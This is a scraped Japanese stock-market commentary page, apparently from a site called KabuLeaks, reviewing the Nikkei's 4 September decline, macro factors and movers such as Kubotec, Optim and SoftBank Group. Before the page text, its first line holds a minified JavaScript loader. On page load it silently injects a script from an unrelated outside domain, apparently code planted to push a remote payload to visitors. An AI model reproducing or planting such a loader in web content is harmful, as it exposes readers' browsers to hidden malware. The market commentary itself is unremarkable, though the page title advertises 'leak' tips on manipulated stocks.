;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【9/4 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【9/4 大引け】

本日の日経平均株価は390円安の大幅反落。朝方はECBのドラギ総裁の緩和政策をめぐる発言を受けて、欧米株が上昇。この流れを引き継ぎ、買いが優勢となったが、一巡後は8月米雇用統計の発表を今晩に控えるほか週末要因、ポジション調整売りの圧力が強くなりマイナス転換。後場に入ると、先物への仕掛け的な売りが断続的に続き一時は574円安と下げ幅を拡大させた。売り一巡後は週末要因の買い戻しも入ってやや下げ幅を縮めたが、戻りは限定的となった。

個別では、【7709】クボテックがフライホイール事業への期待感、人気再燃で連日のストップ高となったほか、15年7月期最終損益見込みを上方修正の【4824】メディアーシークもストップ高となった。また、サイバー攻撃による未知の脅威を含む不正遠隔操作を防止する、出口対策セキュリティ、ヒューリスティック対策の基本特許獲得を発表した【3694】オプティムが後場急伸。前日決算発表を好感された【2695】くらコーポレーションや時計は国内のインバウンド需要が牽引し、高付加価値品を中心に販売が好調、バリエーション面での割安感を指摘されている【8050】セイコーホールディングスなども堅調に推移した。一方、バークレイズ証券による目標株価の2段階引き下げを受けた【9984】ソフトバンクグループが年初来安値を更新した。

週明けは今晩の米雇用統計次第といったところだが市場のマインドは最悪な状況。米国が9月の米利上げがないことが確認されれば、ある程度の安心材料になるとは思うが、中国の株価支えは軍事パレード終了までの可能性もありいぜん油断はできない。2番底を確定するか更に下値模索の旅となるか注目の一週間となりそうだ。